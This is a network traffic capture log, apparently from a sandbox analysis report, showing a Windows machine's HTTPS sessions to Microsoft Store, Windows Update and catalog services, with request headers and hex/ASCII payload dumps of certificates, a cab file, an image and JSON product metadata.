2022-06-08 07:57:00 UTC 9474 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

104 192.168.2.3 49832 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:00 UTC 9441 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=
i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165618Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:00 UTC 9441 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: a31ea371-1416-40a1-9d60-cb0fd962afaf
Date: Wed, 08 Jun 2022 07:57:00 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

105 192.168.2.3 49833 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:00 UTC 9477 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165620Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:00 UTC 9478 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: df32fa13-f2ca-4bea-aeb8-9bade9f831d9
Date: Wed, 08 Jun 2022 07:57:00 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

106 192.168.2.3 49835 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:00 UTC 9478 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165622Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:00 UTC 9479 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 519eff13-7e38-495c-876b-e0d2d2e9c47e
Date: Wed, 08 Jun 2022 07:57:00 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

107 192.168.2.3 49834 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:01 UTC 9479 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=V9ZhaY+AExEokuW&MD=nDwd7vN9 HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-06-08 07:57:01 UTC 9480 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 0d313e2b-1695-4327-91f1-7b2eead549bf
MS-RequestId: 6e735f89-4f3f-4b53-85f6-c7546dbacda5
MS-CV: A2vDnV/3jkm1rpsN.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Wed, 08 Jun 2022 07:57:00 GMT
Connection: close
Content-Length: 35877

2022-06-08 07:57:01 UTC 9480 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
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2022-06-08 07:57:01 UTC 9496 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-06-08 07:57:01 UTC 9512 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

108 192.168.2.3 49836 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:01 UTC 9479 OUT GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=1
28000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid
=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&
bSrc=i.t&asid=57d951360cdd4c8fac5a233947b0e595&time=20220608T165624Z HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:01 UTC 9480 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 6200ce41-6d98-4d31-8bcd-69ee19f96c79
Date: Wed, 08 Jun 2022 07:57:01 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

109 192.168.2.3 49837 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:01 UTC 9515 OUT GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=12
8000000001392729&tid=700342085&reqasid=d0ba81e65d964d98ac625f8466261144&region=US&lang=EN-
US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=
&muid=&persid=&bSrc=i.t&time=20220608T165625Z&asid=57d951360cdd4c8fac5a233947b0e595&eid= HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-06-08 07:57:01 UTC 9516 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: 97eadcbc-7d5c-4e79-ae0f-43731e59ab0d
Date: Wed, 08 Jun 2022 07:57:00 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

11 192.168.2.3 49715 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:53:54 UTC 129 OUT GET /image/apps.20893.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.acc28f88-50de-4aaf-abfc-
ad1da8b04cd0?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-06-08 07:53:54 UTC 141 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2626
Content-Type: image/png
Last-Modified: Mon, 30 Aug 2021 15:07:35 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RTY2MTJGOUU"
MS-CV: 43KkWTor8EuznZWC.0
Access-Control-Expose-Headers: MS-CV
Date: Wed, 08 Jun 2022 07:53:54 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-06-08 07:53:54 UTC 141 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 
02 d3 50 4c 54 45 1d b9 54 23 ba 58 35 c0 66 48 c6 74 54 ca 7e 5f cd 86 6a d1 8f 70 d2 93 73 d3 95 77 d5 98 75 d4 97 72 
d3 94 6e d2 91 66 cf 8b 5b cc 82 50 c8 7a 41 c4 6f 2f be 62 1e b9 55 39 c1 69 6d d1 91 99 df b1 c1 ec d0 e9 f8 ee ff ff ff fb 
fd fc db f4 e4 b2 e7 c5 8a da a6 5a cb 82 28 bc 5c af e6 c2 e7 f7 ed fd fe fd d4 f1 de 97 de b0 56 ca 7f 22 ba 58 33 bf 64 
7d d6 9d c9 ee d6 fe fe fe f3 fb f6 ae e6 c1 61 ce 87 20 ba 56 63 ce 89 bd ea cd ef fa f2 9c e0 b4 43 c4 70 2b bd 5e 86 d9 
a3 e7 f7 ec c7 ed d4 60 cd 86 2d be 60 96 de af f4 fb f6 6b d1 8f 27 bc 5c 90 dc ab d8 f3 e2 63 ce 88 e8 f8 ee c4 ec d2 44 
c5 72 42 c4 70 cc ef d8 fc fe fc 98 df b1 25 
Data Ascii: PNGIHDR,,N~GPLTET#X5fHtT~_jpswurnf[PzAo/bU9imZ(\V"X3d}a VcCp+^`-`k'\cDrBp%

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

110 192.168.2.3 49838 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-06-08 07:57:01 UTC 9516 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Microsoft.BingNews_8wekyb3d8bbwe&marke
t=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: Fm0obDvuHUOS4uL1.0.2.4
Host: displaycatalog.mp.microsoft.com

2022-06-08 07:57:01 UTC 9516 IN HTTP/1.1 200 OK
Connection: close
Date: Wed, 08 Jun 2022 07:57:01 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 63c8d0ec-0bcd-411a-8ac1-d9e1da55459a
MS-RequestId: cfe7f395-85ed-4a3e-aca6-725f4ac0e5da
MS-CV: Fm0obDvuHUOS4uL1.0.2.4.1227126897.0.1.1227126897.1876179469.0
X-Content-Type-Options: nosniff
MS-ServerId: cf5cdc-46x2q
Region: neu
Node: aks-bigcatrpns-32351330-vmss000005
MS-DocumentVersions: 9WZDNCRFHVFW|4134

2022-06-08 07:57:01 UTC 9517 IN Data Raw: 31 31 37 61 37 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 46 48 56 46 57 22 5d 2c 22 
48 61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 30 35 54 31 37 3a 33 31 3a 34 35 2e 39 34 39 30 31 30 
34 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 2
2 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 30 38 30 32 39 36 34 33 37 35 
37 33 33 34 38 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 33 38 22 
Data Ascii: 117a7{"BigIds":["9WZDNCRFHVFW"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-05T1
7:31:45.9490104Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3060802964375733483","EISListingIdentifie
r":null,"BackgroundColor":"#262F38"

2022-06-08 07:57:01 UTC 9520 IN Data Raw: 2d 62 38 65 34 2d 30 65 32 32 33 65 64 36 63 35 61 31 2e 64 66 39 63 34 35 65 66 2d 35 61 63 36 2d 34 64 
32 66 2d 62 35 32 39 2d 38 64 65 66 65 64 37 30 34 64 31 63 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 
65 49 64 22 3a 22 33 30 35 39 37 38 31 36 30 37 33 35 39 39 38 32 31 32 36 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 
64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 32 36 32 46 
33 38 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 31 37 32 38 
2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 22 49 6d 61 67 65 
50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 67 65 
Data Ascii: -b8e4-0e223ed6c5a1.df9c45ef-5ac6-4d2f-b529-8defed704d1c","Width":66},{"FileId":"305978160735998212
6","EISListingIdentifier":null,"BackgroundColor":"#262F38","Caption":"","FileSizeInBytes":1728,"ForegroundColor":"","Hei
ght":88,"ImagePositionInfo":"","Image
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2022-06-08 07:57:01 UTC 9524 IN Data Raw: 69 7a 65 49 6e 42 79 74 65 73 22 3a 35 34 32 34 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 
22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 
49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 
35 36 48 61 73 68 22 3a 22 41 4a 6b 79 42 55 41 30 37 6e 63 46 2b 53 6c 36 76 7a 61 65 5a 74 33 74 41 4a 45 32 2f 35 
31 65 66 34 2b 41 58 51 54 45 59 67 59 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 
2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 69 6d 61 67 65 2f 61 70 70 73 2e 33 39 31 36 38 2e 39 30 30 37 31 39 39 32 
36 36 32 34 37 38 34 36 2e 62 35 63 34 39 39 35 35 2d 65 30 35 30 2d 
Data Ascii: izeInBytes":5424,"ForegroundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","U
nscaledImageSHA256Hash":"AJkyBUA07ncF+Sl6vzaeZt3tAJE2/51ef4+AXQTEYgY=","Uri":"//store-images.s-micro
soft.com/image/apps.39168.9007199266247846.b5c49955-e050-

2022-06-08 07:57:01 UTC 9529 IN Data Raw: 2c 22 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 4b 59 22 2c 22 43 46 22 2c 22 54 44 22 
2c 22 54 4c 22 2c 22 44 4a 22 2c 22 44 4d 22 2c 22 44 4f 22 2c 22 45 43 22 2c 22 53 56 22 2c 22 47 51 22 2c 22 45 52 
22 2c 22 45 54 22 2c 22 46 4b 22 2c 22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 4
1 22 2c 22 47 4d 22 2c 22 47 45 22 2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 
47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 
22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 
2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 
Data Ascii: ,"BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","G
F","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","B
Y","BZ","BJ","BM","BT","KM","CG","CD","CK","CX"

2022-06-08 07:57:01 UTC 9533 IN Data Raw: 22 50 48 22 2c 22 50 4c 22 2c 22 50 54 22 2c 22 51 41 22 2c 22 52 4f 22 2c 22 52 55 22 2c 22 53 41 22 2c 22 
52 53 22 2c 22 53 47 22 2c 22 53 4b 22 2c 22 53 49 22 2c 22 5a 41 22 2c 22 4b 52 22 2c 22 45 53 22 2c 22 53 45 22 2c 
22 43 48 22 2c 22 54 57 22 2c 22 54 48 22 2c 22 54 54 22 2c 22 54 4e 22 2c 22 54 52 22 2c 22 55 41 22 2c 22 41 45 22 
2c 22 47 42 22 2c 22 56 4e 22 2c 22 59 45 22 2c 22 4c 59 22 2c 22 4c 4b 22 2c 22 55 59 22 2c 22 56 45 22 2c 22 41 46 2
2 2c 22 41 58 22 2c 22 41 4c 22 2c 22 41 53 22 2c 22 41 4f 22 2c 22 41 49 22 2c 22 41 51 22 2c 22 41 47 22 2c 22 41 4d 
22 2c 22 41 57 22 2c 22 42 4f 22 2c 22 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 42 56 22 2c 22 49 4f 22 2c 22 42 4e 
22 2c 22 42 46 22 2c 22 42 49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 
Data Ascii: "PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN
","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ
","BA","BW","BV","IO","BN","BF","BI","KH","CM",

2022-06-08 07:57:01 UTC 9537 IN Data Raw: 73 5f 34 2e 33 31 2e 31 32 31 32 34 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 
62 77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 
37 30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 
74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 
6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 
69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 37 35 34 32 37 35 33 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2
e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 
Data Ascii: s_4.31.12124.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-b8b33cc9
caf1\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750890000384,\"platform.minVersion\":28
14750754275328,\"platform.target\":5}],\"conten

2022-06-08 07:57:01 UTC 9541 IN Data Raw: 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 
5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 
6f 72 79 2e 66 69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 
5c 22 4e 65 77 73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 
22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 
6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 
32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 
Data Ascii: 4750835277824,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.s
econd\":\"News & weather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\
"policy2\":{\"ageRating\":1

2022-06-08 07:57:01 UTC 9545 IN Data Raw: 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 
52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 
61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 
49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 
5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 2
2 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 
74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 
Data Ascii: bleMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\
"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId
\":16},{\"level\"

2022-06-08 07:57:01 UTC 9549 IN Data Raw: 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 
